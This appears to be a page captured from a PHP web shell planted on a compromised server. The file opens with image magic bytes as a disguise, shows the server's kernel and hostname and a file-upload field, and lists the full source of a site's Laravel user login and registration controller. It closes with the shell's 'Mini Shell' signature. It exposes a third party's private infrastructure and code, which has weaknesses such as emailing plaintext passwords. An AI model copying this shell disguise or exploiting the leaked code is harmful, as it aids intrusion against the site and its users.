ÿØÿà JFIF  H H ÿÛ C   GIF89; Eú tiket mi chék chéúfetál .

Eú tiket mi chék chéúfetál .

System: Linux srv913213 5.15.0-190-generic #200-Ubuntu SMP Fri Aug 7 15:06:04 UTC 2026 x86_64

Current Path : /var/www/yapwebtv.com/app/Http/Controllers/Site/
Upload File :
Current File : /var/www/yapwebtv.com/app/Http/Controllers/Site/UserController.php

<?php

namespace App\Http\Controllers\Site;

use App\Http\Controllers\Controller;
use App\Services\WidgetService;
use Modules\User\Entities\User;
use Sentinel;
use Illuminate\Http\Request;
use Illuminate\Support\Facades\Hash;
use Illuminate\Validation\ValidationException;
use Activation;
use Cartalyst\Sentinel\Checkpoints\ThrottlingException;
use Cartalyst\Sentinel\Checkpoints\NotActivatedException;
use Modules\Setting\Entities\EmailTemplate;
use Modules\User\Entities\Role;
use Reminder;
use Validator;

class UserController extends Controller
{
    public function showLoginForm()
    {
        $widgetService          = new WidgetService();
        $widgets                = $widgetService->getWidgetDetails();

        return view('site.auth.login', compact('widgets'));
    }

    public function login(Request $request)
    {
        if( settingHelper('captcha_visibility') == 1):
        $request->validate([
            'email'         => ['required', 'string', 'email', 'max:255'],
            'password'      => ['required', 'string'],
            'g-recaptcha-response'      => ['required', 'string'],
        ]);
        else:

            $request->validate([
                'email'         => ['required', 'string', 'email', 'max:255'],
                'password'      => ['required', 'string'],
            ]);

        endif;

        $user = User::where('email', $request->email)->first();

        if (blank($user)) {
            return redirect()->back()->with(['error' => __('your_email_is_invalid')]);
        } elseif($user->is_user_banned == 0) {
            return redirect()->back()->with(['error' => __('your_account_is_banned')]);
        }

        try {

            if (!Hash::check($request->get('password'), $user->password)) {
                return redirect()->back()->with(['error' => 'Invalid Credentials !']);
            }

            Sentinel::authenticate($request->all());

            return redirect()->route('home');

        } catch (NotActivatedException $e) {

            return redirect()->back()->with(['error' => __('your_account_is_not_activated')]);
        }
    }

    public function showRegistrationForm()
    {
        return view('site.auth.register');
    }

    public function register(Request $request)
    {
        if( settingHelper('captcha_visibility') == 1):

            $request->validate([
                'first_name'    => ['required', 'string', 'max:255'],
                'last_name'     => ['required', 'string', 'max:255'],
                'email'         => ['required', 'string', 'email', 'max:255'],
                'password'      => ['required', 'string', 'min:6'],
                'phone'         => ['min:11','max:14'],
                'dob'           => 'required',
                'gender'        => 'required',
                'g-recaptcha-response'      => ['required', 'string'],
            ]);

        else:
            $request->validate([
                'first_name'    => ['required', 'string', 'max:255'],
                'last_name'     => ['required', 'string', 'max:255'],
                'email'         => ['required', 'string', 'email', 'max:255'],
                'password'      => ['required', 'string', 'min:6'],
                'phone'         => ['min:11','max:14'],
                'dob'           => 'required',
                'gender'        => 'required',
            ]);

        endif;

        $request['is_password_set'] = 1;

        try {

            $user = User::where('email', $request->email)->first();

            if(!blank($user)){
                if($user->withActivation == ""){

                    $user->password             = bcrypt($request->password);
                    $user->first_name           = $request->first_name;
                    $user->last_name            = $request->last_name;
                    $user->dob                  = $request->dob;
                    $user->phone                = $request->phone;
                    $user->gender               = $request->gender;
                    $user->is_password_set      = 1;
                    $user->save();

                    $activation         = Activation::create($user);

                    sendMail($user, $activation->code, 'activate_account', $request->password);

                    return redirect()->route('site.login.form')->with('success', __('check_user_mail_for_active_this_account'));

                }else{
                    return redirect()->back()->with('error', __('the_email_has_already_been_taken'));
                }
            }

            $user               = Sentinel::register($request->all());
            $role               = Sentinel::findRoleBySlug('user');

            $role->users()->attach($user);

            $activation         = Activation::create($user);

            sendMail($user, $activation->code, 'activate_account', $request->password);

            return redirect()->route('site.login.form')->with('success', __('check_user_mail_for_active_this_account'));



        } catch (\Exception $e) {
            return redirect()->back()->with('error', __('test_mail_error_message'));
        }


    }

    public function logout()
    {
        Sentinel::logout();

        return redirect()->route('home');
    }

    public function forgotPassword()
    {
        return view('site.auth.forgot_password');
    }

    public function postForgotPassword(Request $request)
    {
        try {

            $user                   = User::whereEmail($request->email)->first();

            if(blank($user)){
                return redirect()->back()->with('error', __('your_email_is_invalid'));
            }

            if(Reminder::exists($user)):
                $remainder          = Reminder::where('user_id',$user->id)->first();
            else:
                $remainder          = Reminder::create($user);
            endif;
            //send a mail to user
            sendMail($user, $remainder->code, 'forgot_password', '');

            return redirect()->back()->with([
                'success'           => __('reset_code_is_send_to_mail'),
            ]);

        } catch (\Exception $e) {
            return redirect()->back()->with('error', __('test_mail_error_message'));
        }
    }

    public function resetPassword($email, $resetCode)
    {
        $user                   = User::byEmail($email);

        if ($reminder           = Reminder::exists($user, $resetCode)) :
            return view('site.auth.reset_password',['email'=>$email,'resetCode'=>$resetCode]);
        else :
            return redirect('login');
        endif;
    }

    public function PostResetPassword(Request $request, $email, $resetCode)
    {
        Validator::make($request->all(), [
            'password'              => 'confirmed|required|min:5|max:10',
            'password_confirmation' => 'required|min:5|max:10'
        ])->validate();

        try {

            $user = User::byEmail($email);

            if ($reminder = Reminder::exists($user, $resetCode)) :
                Reminder::complete($user, $resetCode, $request->password);
                sendMail($user, '', 'reset_password', $request->password);

                return redirect()->route('site.login.form')->with('success', __('you_can_login_with_new_password'));
            else :
                return redirect()->route('site.login.form');
            endif;

        } catch (\Exception $e) {
            return redirect()->back()->with('error', __('test_mail_error_message'));
        }
    }

    public function activation($email, $activationCode)
    {
        $user       = User::whereEmail($email)->first();

        if (Activation::complete($user, $activationCode)) :

            sendMail($user, '', 'registration', '');

            return redirect()->route('site.login.form')->with('success', __('your_account_activation_successfully'));

        endif;

        return redirect('/');
    }
}

xxxxx1.0, XXX xxxx
SPECIMENT MINI SHELL - RECODED FROM PHANTOM GHOST